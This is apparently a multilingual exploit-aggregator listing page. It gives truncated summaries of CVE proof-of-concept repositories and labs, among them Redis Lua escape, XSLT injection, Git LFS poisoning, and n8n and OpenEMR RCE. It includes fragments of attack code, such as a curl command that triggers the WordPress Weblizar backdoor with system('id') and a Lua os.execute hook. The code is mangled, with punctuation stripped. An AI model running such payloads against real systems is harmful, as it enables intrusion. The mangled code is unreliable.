CVE-2026-22003-Redis-Lua-Sandbox-Escape-via-debug.sethook-

CVE-2026-22003 – Обход песочницы Redis Lua через debug.sethook Код программы триггер на Lua + Python root@kitploit: -- redissandbox.lua - Script that attempts sandbox escape local function escape debug.sethookfunction -- This hook runs in a privileged context os.execute"id /tmp/redisescape" end,...

CVE-2022-38601

Предлагаемое описание Обнаружено, что Lotsia Soft Lotsia PDM PLUS версии 5.80.220414 содержит переполнение буфера. Тип уязвимости Переполнение буфера Производитель продукта Lotsia Soft База кода затронутого продукта Lotsia PDM PLUS – 5.80.220414 Тип атаки Локальная Воздействие на выполнение кода...

CVE-2025-68613

🚀 n8n Authenticated RCE PoC Pocsuite3 CVE ID : CVE-2025-68613 Type : Authenticated Remote Code Execution Framework : Pocsuite3 Это скрипт проверки и эксплуатации уязвимостей, написанный на основе фреймворка Pocsuite3 , для обнаружения уязвимости удалённого выполнения кода RCE после аутентификации...

CVE-2026-22006-XSLT-Server-Side-Injection-via-xsl-script-

CVE-2026-22006 – Серверная инъекция XSLT через xsl:script Код программы Python + XSLT root@kitploit: xsltserver.py - Applies user-supplied XSLT to XML from lxml import etree from flask import Flask, request app = Flaskname @app.route'/transform', methods='POST' def transform: xml =...

CVE-2020-9484

도구는 보안 연구 및 내부 자체 점검에만 사용해야 하며, 도구를 이용한 불법 공격은 금지됩니다. 이로 인해 발생한 결과는 사용자가 책임집니다. 도구는 보안 연구 및 내부 자체 점검에만 사용해야 하며, 도구를 이용한 불법 공격은 금지됩니다. 이로 인해 발생한 결과는 사용자가 책임집니다. 도구는 보안 연구 및 내부 자체 점검에만 사용해야 하며, 도구를 이용한 불법 공격은 금지됩니다. 이로 인해 발생한 결과는 사용자가 책임집니다. 스크립트는...

CVE-2021-3395

CVE-2021-3395 建议描述 Pryaniki 6.44.3 中存在一个跨站脚本（XSS）漏洞，允许远程认证用户上传任意文件。当有人访问该附件时，JavaScript 代码将会执行。 漏洞类型 跨站脚本（XSS） 产品供应商 OOO Tekhnologii zashchity 受影响产品代码库 PRYANIKY - 6.44.3 攻击类型 远程 攻击向量 要利用此漏洞，必须有人打开一个特制的 HTML 文件。 供应商是否已确认或承认该漏洞？ true true 发现者 Irina Belyaeva Jet Infosystems, jet.su, Maria Kononova J...

CVE-2026-22004-Git-LFS-Pointer-Poisoning-Supply-Chain-

CVE-2026-22004 – Отравление указателей Git LFS цепочка поставок Код программы Bash + Python root@kitploit: createmaliciousrepo.sh - Sets up a repo with poisoned LFS pointer git init git lfs track ".bin" echo "version https://git-lfs.github.com/spec/v1 oid...

React2Shell-CVE-Lab

⚛️ React2Shell: Уязвимая лаборатория CVE-2025-55182 ⚠️ ПРЕДУПРЕЖДЕНИЕ: НАМЕРЕННО УЯЗВИМОЕ ПРИЛОЖЕНИЕ Этот репозиторий содержит Docker-приложение, специально сконфигурированное как уязвимое к CVE-2025-55182 React2Shell. НЕ РАЗВЁРТЫВАЙТЕ этот контейнер в производственной среде или на публичном...

exploit-CVE-2018-15139

Эксплойт OpenEMR CVE-2018-15139 OpenEMR --debug exploit.rb -h | --help Options: Root URL base path including HTTP scheme, port and root folder Filename of the shell to be uploaded Username of the admin Password of the admin --debug Display arguments -h, --help Show this screen Examples: exploit.r...

redis-poc

Redis 인증 RCE stream NACK double free, TDigest 및 TopK 모듈 버그 Redis 6.2.22, 7.4.9, 8.6.4 를 대상으로 하는 비파괴적non-destructive RCE 익스플로잇입니다. stream consumer-group 공유 NACK double freeCVE-2026-25243 패치 우회를 이용하며, 8.8.0 은 번들 RedisBloom의 TDigest 힙 오버플로, 8.8.1 은 TopK wild freeCVE-2026-25589 패치 우회를 이용합니다. 파일...

CVE-2025-63420

CVE-2025-63420 CrushFTP11 до версии 11.3.757 уязвим для инъекции сохраненного HTML в панели администратора CrushFTP Reports / "Who Created Folder", что позволяет выполнять постоянный HTML-код в сессиях администратора. CWE CWE-79 — Неправильная нейтрализация ввода при генерации веб-страницы...

CVE-2016-2098-PoC

CVE-2016-10033-PoC これはPentesterLab用に書きました PentesterLabを利用しているなら、カンニングはしないでください。自分で学ぶ方がずっと良いです。 誰かの役に立てば幸いです。将来の自分にとってもね : 対話型シェルと便利なargparse機能も備えています。 Usage root@kitploit: usage: script.py -h --url URL --param PARAM --proxy --raw --no-color script.py: error: the following arguments are required:...

CVE-2016-10033-PoC

CVE-2016-10033-PoC Написал это для PentesterLab Если вы из PentesterLab, не списывайте, так намного лучше учиться. Надеюсь, это кому-нибудь пригодится, если не мне в будущем : Имеет интерактивную оболочку, хороший argparse и т.д. Использование root@kitploit: usage: poc.py -h --target TARGET...

Vulnerable-Lab-Exploitation

Эксплуатация уязвимой лаборатории Практический проект, демонстрирующий настройку виртуального лабораторного стенда безопасности, разведку сетей и эксплуатацию уязвимости CVE-2012-1823. Настройка уязвимой лаборатории и эксплуатация PHP CGI CVE-2012-1823 🎯 Обзор проекта Этот проект демонстрирует...

CVE-2019-0708-EXPloit-3389

CVE-2019-0708-EXPloit-3389 リモートデスクトップRDPサービスのリモートコード実行脆弱性CVE-2019-0708...

CVE-2020-28415

CVE-2020-28415 제안된 설명 TranzWare Payment Gateway 3.1.12.3.2에는 반사형 크로스 사이트 스크립팅XSS 취약점이 존재합니다. 원격의 인증되지 않은 공격자는 조작된 URL을 통해 임의의 HTML 코드를 실행할 수 있습니다CVE-2020-28414와 다른 벡터. 취약점 유형 크로스 사이트 스크립팅 XSS 제품 공급업체 TranzWare 영향을 받는 제품 코드 베이스 Payment Gateway 3.1.12.3.2. 공격 유형 원격 영향 코드 실행 true 공급업체가 취약점을 확인하거나...

CVE-2025-24893_Analysis

CVE-2025-24893 - SSTI в XWiki SolrSearch, ведущая к неаутентифицированному RCE Автономная Docker-лаборатория, воспроизводящая CVE-2025-24893 — инъекцию серверных шаблонов Server-Side Template Injection в RSS-ленте SolrSearch в XWiki, которая приводит к неаутентифицированному удалённому выполнению...

CVE-2022-1609

CVE-2022-1609 CVE-2022-1609 WordPress Weblizar 백도어 curl -s -d 'blowfish=1' -d "blowf=system'id';" 'http://localhost:8888/wp-json/am-member/license' uid=33www-data gid=33www-data groups=33www-data...

CVE-2024-3400

CVE-2024-3400 Описание Уязвимость внедрения команд, вызванная созданием произвольного файла в функции GlobalProtect программного обеспечения Palo Alto Networks PAN-OS для определенных версий PAN-OS и конфигураций функций, может позволить неаутентифицированному злоумышленнику выполнить произвольны...

CVE-2025-20029-simulation

🔐 リプレイ可能な攻撃シミュレーション – CVE-2025-20029 ⚠️ このリポジトリは、CVE-2025-20029 を安全で制御された環境 でシミュレートします。 実際の F5 BIG-IP システムとやり取りしたり、本番サービスを悪用したりすることはありません 。 目的は教育的なものです。脆弱性パターンを学び、ペイロードを安全にテストすることです。 🛠 CVE-2025-20029 について CVE-2025-20029 は、F5 BIG-IP システムに影響を与える高深刻度のコマンドインジェクション脆弱性です。 問題は iControl REST API...